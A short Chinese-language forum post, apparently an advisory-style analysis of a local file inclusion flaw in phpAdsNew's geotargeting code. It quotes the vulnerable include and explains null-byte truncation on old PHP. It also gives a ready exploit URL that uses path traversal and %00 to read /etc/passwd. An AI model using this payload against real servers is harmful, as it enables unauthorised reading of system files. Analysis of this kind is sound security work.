wy4302

$phpAds_geoPlugin = phpAds_path."/libraries/geotargeting/geo-".$phpAds_config['geotracking_type'].".inc.php";
//变量 $phpAds_geoPlugin 初始化.
  if (@file_exists($phpAds_geoPlugin)) //判断包含文件是否存在.
  {
    include_once ($phpAds_geoPlugin); // 如果为真，包含之。

这个属于本地包含! 利用几率很小。(PHP < 4.2.3 可以用 %00 来截断后面的 inc.php)
因为$phpAds_config[&#39;geotracking_type&#39;] 有声明。

利用方式为:
http://www.example.com/libraries ... c.php?phpAds_config[&#39;geotracking_type&#39;]=/../../../../../etc/passwd%00
帖子3923 精华128 积分209640 阅读权限200 性别男 在线时间1095 小时 注册时间2007-10-23 最后登录2008-7-18 查看详细资料引用 报告 回复 TOP 爱要怎么说出口

落叶纷飞
荣誉会员